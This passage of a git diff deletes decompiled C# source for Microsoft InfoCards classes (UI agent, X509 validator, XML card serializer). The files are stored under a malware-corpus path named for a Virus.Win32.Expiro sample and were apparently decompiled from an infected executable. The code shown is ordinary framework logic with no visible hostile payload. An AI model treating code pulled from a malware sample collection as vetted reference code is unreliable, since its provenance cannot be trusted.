{ - if (num > 0) - InfoCardUIAgent.s_idleTimeout = new TimeSpan(0, 0, (int) seconds); - } - } - } - InfoCardUIAgent.s_initialized = true; - } - } - - public static InfoCardUIAgent Create( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - InfoCardUIAgent.InitializeIfNecessary(); - InfoCardUIAgent infoCardUiAgent = (InfoCardUIAgent) null; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.ThrowIfShuttingDown(); - infoCardUiAgent = (InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId]; - if (infoCardUiAgent != null) - { - if (infoCardUiAgent.IsShuttingDown) - { - infoCardUiAgent = (InfoCardUIAgent) null; - } - else - { - if (infoCardUiAgent.Request != null) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - if (infoCardUiAgent.User != callerIdentity.User.ToString()) - { - infoCardUiAgent.Shutdown(); - infoCardUiAgent = (InfoCardUIAgent) null; - } - } - } - if (infoCardUiAgent == null) - { - infoCardUiAgent = new InfoCardUIAgent(callerPid, callerIdentity, tsSessionId); - InfoCardUIAgent.s_pidCollection[infoCardUiAgent.ProcessId] = (object) infoCardUiAgent; - InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId] = (object) infoCardUiAgent; - } - } - return infoCardUiAgent; - } - - public RpcUIAgentGetWorkCallback Bind( - string desktopName, - out SecurityIdentifier userSid, - out SafeWaitHandle hStartEvent, - out SafeWaitHandle hCompleteEvent) - { - lock (this.m_memberSync) - { - userSid = new SecurityIdentifier(this.m_trustedUserSid); - hStartEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkStart.SafeWaitHandle, this.m_process); - hCompleteEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkComplete.SafeWaitHandle, this.m_process); - this.m_desktopName = desktopName; - return this.m_getWorkCallback = new RpcUIAgentGetWorkCallback(this.GetWork); - } - } - - public void ResetUIResult() - { - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - - public ClientUIRequest.RequestResult ShowUI(InfoCardUIAgent.CallMode mode) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - bool flag = false; - lock (this.m_memberSync) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - if (this.SetMode(mode)) - { - flag = true; - break; - } - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - break; - } - } - } - if (flag) - this.WaitForModeChange(); - this.m_uiStatusRecieved.WaitOne(); - } - return this.m_currentStatus; - } - - public void SetUIStatus(ClientUIRequest.RequestResult status) - { - lock (this.m_memberSync) - { - this.m_currentStatus = status; - if (this.m_request != null && (ClientUIRequest.RequestResult.Cancel == this.m_currentStatus || ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus || ClientUIRequest.RequestResult.Error == this.m_currentStatus)) - this.m_request.UserCancel(ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus); - this.m_uiStatusRecieved.Set(); - } - } - - public void SetRequest(ClientUIRequest request) - { - InfoCardTrace.Assert(null != request, "Request should not be null"); - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.m_request = request; - if (this.SetMode(InfoCardUIAgent.CallMode.Initialize)) - flag = true; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - if (!flag) - return; - this.WaitForModeChange(); - } - - private bool SetMode(InfoCardUIAgent.CallMode mode) - { - bool flag = false; - lock (this.m_memberSync) - { - if (InfoCardUIAgent.CallMode.Shutdown != this.m_mode) - { - if (this.m_mode != mode) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.Sleep: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Release, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Initialize: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Sleep, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Initialize, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Shutdown: -label_10: - this.m_mode = mode; - flag = true; - break; - case InfoCardUIAgent.CallMode.Release: - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.Initialize: - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - goto label_10; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto label_10; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - } - } - } - } - return flag; - } - - public void ReleaseUI() - { - if (!this.IsActive && InfoCardUIAgent.CallMode.Initialize != this.m_mode || !this.SetMode(InfoCardUIAgent.CallMode.Release)) - return; - this.WaitForModeChange(); - } - - private void WaitForModeChange() - { - this.m_agentGetWorkStart.Set(); - if (!this.m_agentGetWorkComplete.WaitOne(this.AgentStateChangeTimeOut, false)) - { - Utility.KillHelper(this.m_process); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UIAgentCrash"))); - } - } - - private void GetWork(out InfoCardUIAgent.CallMode mode, out int requestHandle) - { - lock (this.m_memberSync) - { - mode = InfoCardUIAgent.CallMode.Shutdown; - requestHandle = 0; - try - { - mode = this.m_mode; - if (this.m_request != null) - requestHandle = this.m_request.RequestHandle; - if (mode != InfoCardUIAgent.CallMode.Sleep) - return; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, InfoCardUIAgent.s_idleTimeout, new TimeSpan(0, 0, 0, 0, -1)); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - ClientUIRequest request = this.Request; - if (request == null) - return; - request.ProcessingException = ex; - } - } - } - - public void ClearRequest(ClientUIRequest request) - { - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request == request) - { - if (this.SetMode(InfoCardUIAgent.CallMode.Sleep)) - flag = true; - this.m_request = (ClientUIRequest) null; - } - } - if (!flag) - return; - this.WaitForModeChange(); - if (ClientUIRequest.RequestResult.Error != this.m_currentStatus) - return; - this.Shutdown(); - } - - private void OnTimeout(object state) - { - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request != null || this.IsShuttingDown) - return; - this.Shutdown(); - } - } - - private void OnProcessExit(int exitCode) - { - lock (InfoCardUIAgent.s_syncRoot) - { - this.m_mode = InfoCardUIAgent.CallMode.Shutdown; - InfoCardUIAgent.s_pidCollection.Remove(this.ProcessId); - InfoCardUIAgent.s_sessionIdCollection.Remove((uint) this.TsSessionId); - if (this.m_request != null && (this.m_currentStatus == ClientUIRequest.RequestResult.Pending || ClientUIRequest.RequestResult.Ok == this.m_currentStatus)) - { - switch ((EventCode) exitCode) - { - case EventCode.E_ICARD_UNTRUSTED: - this.m_request.UserCancel(true); - this.m_currentStatus = ClientUIRequest.RequestResult.Untrusted; - break; - case EventCode.E_ICARD_USERCANCELLED: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.Cancel; - break; - case EventCode.E_ICARD_UI_INITIALIZATION: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UIFailedInitialization; - break; - default: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UICrashed; - break; - } - this.m_uiStatusRecieved.Set(); - } - this.m_agentGetWorkComplete.Set(); - if (InfoCardUIAgent.s_isShuttingDown && InfoCardUIAgent.s_pidCollection.Count == 0) - InfoCardUIAgent.s_doneShuttingDownEvent.Set(); - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - if (this.m_trustedUserToken == null) - return; - this.m_trustedUserToken.Dispose(); - this.m_trustedUserToken = (SafeNativeHandle) null; - } - } - - private void OnProcessExit(object sender, EventArgs e) - { - this.m_process.Exited -= this.m_processExitHandler; - Process process = sender as Process; - InfoCardTrace.Assert(null != process, "Should be of type process."); - InfoCardTrace.Assert(process.ExitCode == this.m_process.ExitCode, "Should be the same!"); - this.OnProcessExit(process.ExitCode); - } - - private static void ThrowIfShuttingDown() - { - if (InfoCardUIAgent.s_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new SystemShuttingDownException()); - } - - private void Shutdown() - { - if (!this.SetMode(InfoCardUIAgent.CallMode.Shutdown)) - return; - this.WaitForModeChange(); - } - - private void Kill() => Utility.KillHelper(this.m_process); - - public static void OnLogout(uint sessionId) - { - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - ((InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[sessionId])?.Shutdown(); - } - - public static void DoShutdown() - { - bool flag = false; - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.s_isShuttingDown = true; - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - { - flag = true; - infoCardUiAgent.Shutdown(); - } - } - if (!flag || InfoCardUIAgent.s_doneShuttingDownEvent.WaitOne(new TimeSpan(0, 0, 15), false)) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - infoCardUiAgent.Kill(); - } - } - - public static InfoCardUIAgent FindByPid(uint pid) - { - lock (InfoCardUIAgent.s_syncRoot) - return (InfoCardUIAgent) InfoCardUIAgent.s_pidCollection[pid]; - } - - private class UInt32IndexedHybridDictionary - { - private HybridDictionary m_realDictionary = new HybridDictionary(); - - public int Count => this.m_realDictionary.Count; - - public ICollection Values => this.m_realDictionary.Values; - - public object this[uint index] - { - get => this.m_realDictionary[(object) index]; - set => this.m_realDictionary[(object) index] = value; - } - - public void Remove(uint index) => this.m_realDictionary.Remove((object) index); - } - - public enum CallMode - { - Sleep, - Initialize, - GetToken, - Manage, - Import, - Shutdown, - Crash, - Error, - Release, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardX509Validator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardX509Validator.cs deleted file mode 100644 index ab3c9dd8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardX509Validator.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardX509Validator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class InfoCardX509Validator : X509CertificateValidator - { - private static InfoCardOfflineChainTrustValidator s_identityMachineChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static InfoCardOfflineChainTrustValidator s_identityUserChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static X509CertificateValidator s_identityPeerTrustValidator; - private static X509Certificate2Collection m_supportingCertificates; - - static InfoCardX509Validator() - { - InfoCardX509Validator.s_identityMachineChainTrustValidator = new InfoCardOfflineChainTrustValidator(true); - InfoCardX509Validator.s_identityUserChainTrustValidator = new InfoCardOfflineChainTrustValidator(false); - InfoCardX509Validator.s_identityPeerTrustValidator = X509CertificateValidator.PeerTrust; - } - - private InfoCardX509Validator(X509Certificate2Collection supportingCerts) => InfoCardX509Validator.m_supportingCertificates = supportingCerts; - - public static X509CertificateValidator Create( - X509Certificate2Collection supportingCerts) - { - return (X509CertificateValidator) new InfoCardX509Validator(supportingCerts); - } - - public static void ValidateChainOrPeer( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - InfoCardX509Validator.Validate(certificate, supportingRecipientCerts, out chainTrustPassed); - } - - public override void Validate(X509Certificate2 certificate) => InfoCardX509Validator.Validate(certificate, InfoCardX509Validator.m_supportingCertificates, out bool _); - - public static bool ValidateChainOrPeerCallback( - object sender, - X509Certificate certificate, - X509Chain chain, - SslPolicyErrors sslPolicyErrors) - { - bool chainTrustPassed = false; - if ((sslPolicyErrors & SslPolicyErrors.RemoteCertificateNameMismatch) != SslPolicyErrors.None || (sslPolicyErrors & SslPolicyErrors.RemoteCertificateNotAvailable) != SslPolicyErrors.None) - return false; - InfoCardTrace.Assert(certificate != null && null != chain, "We should have returned false for SslPolicyErrors.RemoteCertificateNotAvailable"); - try - { - InfoCardX509Validator.ValidateChainOrPeer(new X509Certificate2(certificate), chain.ChainPolicy.ExtraStore, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - return false; - } - return true; - } - - private static void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - chainTrustPassed = false; - string str = string.Empty; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingRecipientCerts, out X509Chain _); - chainTrustPassed = true; - } - catch (SecurityTokenValidationException ex) - { - str = ex.Message; - } - if (chainTrustPassed) - return; - try - { - InfoCardX509Validator.ValidatePeer(certificate); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainFailAndPeerTrustFail", (object) str, (object) ex.Message))); - } - } - - public static void ValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - try - { - InfoCardX509Validator.s_identityMachineChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardX509Validator.s_identityUserChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - } - - public static bool TryValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts) - { - bool flag = true; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCerts, out X509Chain _); - } - catch (SecurityTokenValidationException ex) - { - flag = false; - } - return flag; - } - - public static void ValidatePeer(X509Certificate2 certificate) => InfoCardX509Validator.s_identityPeerTrustValidator.Validate(certificate); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardXmlSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardXmlSerializer.cs deleted file mode 100644 index 48a1486a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardXmlSerializer.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardXmlSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardXmlSerializer - { - private InfoCard m_card; - private X509Certificate2 m_issuer; - private X509Certificate2Collection m_additionalIssuerCerts; - private bool m_isIssuerChainTrusted; - private bool m_checkSignature; - private bool m_isDeserialized; - private StoreConnection m_connection; - - public InfoCardXmlSerializer(StoreConnection connection) => this.m_connection = connection; - - public InfoCard Card => this.m_isDeserialized ? this.m_card : (InfoCard) null; - - public X509Certificate2 Issuer => this.m_isDeserialized ? this.m_issuer : (X509Certificate2) null; - - public X509Certificate2Collection AdditionalIssuerCerts => this.m_additionalIssuerCerts; - - public bool IsIssuerChainTrusted - { - get - { - InfoCardTrace.Assert(this.m_isDeserialized, "Card should be deserialized before checking this value"); - return this.m_isIssuerChainTrusted; - } - } - - public bool CheckSignature - { - set => this.m_checkSignature = value; - } - - public void Deserialize(string filename) - { - try - { - this.m_card = new InfoCard(); - this.m_card.HashSalt = InfoCard.GenerateSalt(); - this.CreateCardFromXml(filename); - this.m_card.IssuerIdentifierAsBytes = Convert.FromBase64String(Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.m_issuer, this.m_additionalIssuerCerts, this.m_isIssuerChainTrusted)); - this.m_isDeserialized = true; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - - private void CreateCardFromXml(string filename) - { - try - { - using (FileStream fileStream = File.OpenRead(filename)) - { - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) fileStream, new XmlReaderSettings() - { - IgnoreWhitespace = false, - IgnoreProcessingInstructions = false, - IgnoreComments = true - })) - { - this.RetrieveIssuerAndCheckSign(reader1); - fileStream.Seek(0L, SeekOrigin.Begin); - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader2 = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - while (reader2.Read()) - { - if (reader2.LocalName == "InformationCard") - { - this.m_card.ReadXml(reader2); - break; - } - } - reader2.Read(); - if ("Signature" != reader2.LocalName || XmlNodeType.EndElement != reader2.NodeType) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (FileNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportFileNotFound"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - - private void RetrieveIssuerAndCheckSign(XmlReader reader) - { - XmlDocument document = new XmlDocument(); - document.PreserveWhitespace = true; - document.Load(reader); - XmlNames.CreateNamespaceManager(document.NameTable); - if ("Signature" != document.DocumentElement.LocalName && "http://www.w3.org/2000/09/xmldsig#" == document.DocumentElement.NamespaceURI) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - SignedXml signedXml = new SignedXml(document); - signedXml.LoadXml(document.DocumentElement); - if (signedXml.Signature == null || signedXml.Signature.ObjectList == null || signedXml.Signature.SignedInfo == null || signedXml.Signature.SignedInfo.References == null || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.Signature.ObjectList.Count != 1 || signedXml.Signature.SignedInfo.References.Count != 1 || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain.Count != 1) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - string algorithm = ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain[0].Algorithm; - if (signedXml.Signature.SignedInfo.SignatureMethod != "http://www.w3.org/2000/09/xmldsig#rsa-sha1" || "http://www.w3.org/2001/10/xml-exc-c14n#" != algorithm && "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" != algorithm || "http://www.w3.org/2001/10/xml-exc-c14n#" != signedXml.Signature.SignedInfo.CanonicalizationMethodObject.Algorithm || "http://www.w3.org/2000/09/xmldsig#sha1" != ((Reference) signedXml.Signature.SignedInfo.References[0]).DigestMethod) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.KeyInfo == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - XmlNodeList childNodes = signedXml.KeyInfo.GetXml().ChildNodes; - KeyInfoX509Data keyInfoX509Data = new KeyInfoX509Data(); - foreach (XmlNode element in childNodes) - { - if ("http://www.w3.org/2000/09/xmldsig#" == element.NamespaceURI && "X509Data" == element.Name) - { - keyInfoX509Data.LoadXml((XmlElement) element); - break; - } - } - ArrayList certificates = keyInfoX509Data.Certificates; - this.m_issuer = certificates != null && certificates.Count > 0 ? (X509Certificate2) certificates[0] : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("NoCertificateFoundInSignature"))); - this.m_additionalIssuerCerts = new X509Certificate2Collection(); - for (int index = 1; index < certificates.Count; ++index) - this.m_additionalIssuerCerts.Add((X509Certificate2) certificates[index]); - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.m_issuer, this.m_additionalIssuerCerts, out this.m_isIssuerChainTrusted); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(ex.Message)); - } - if (this.m_checkSignature && !signedXml.CheckSignature(this.m_issuer, true)) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs deleted file mode 100644 index 1881d7ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationCollection : List - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - public InfocardExtendedInformationCollection(Uri infoCardId) => this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - for (int index = 0; index < this.Count; ++index) - this[index].Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = new BinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.Deserialize(reader); - this.Add(informationEntry); - } - } - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 4; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public string GetIssuerInformationElement() - { - for (int index = 0; index < this.Count; ++index) - { - XmlReader reader = InfoCardSchemas.CreateReader(this[index].GetXml()); - reader.Read(); - if (reader.IsStartElement("IssuerInformation", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - { - reader.Close(); - return this[index].GetXml(); - } - reader.Close(); - } - return string.Empty; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 4 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs deleted file mode 100644 index b03abbcb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationEntry : IXmlSerializable - { - private string m_xmlElement; - - public void Serialize(BinaryWriter writer) => Utility.SerializeString(writer, this.m_xmlElement); - - public void Deserialize(BinaryReader reader) => this.m_xmlElement = Utility.DeserializeString(reader); - - public string GetXml() => this.m_xmlElement; - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - XmlReader reader = InfoCardSchemas.CreateReader(this.m_xmlElement); - writer.WriteNode(reader, false); - } - - public void ReadXml(XmlReader reader) - { - XmlReader xmlReader = reader.IsStartElement() ? reader.ReadSubtree() : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - xmlReader.Read(); - this.m_xmlElement = xmlReader.ReadOuterXml(); - xmlReader.Close(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IntermediatePolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IntermediatePolicyValidator.cs deleted file mode 100644 index c230fd38..00000000 --- 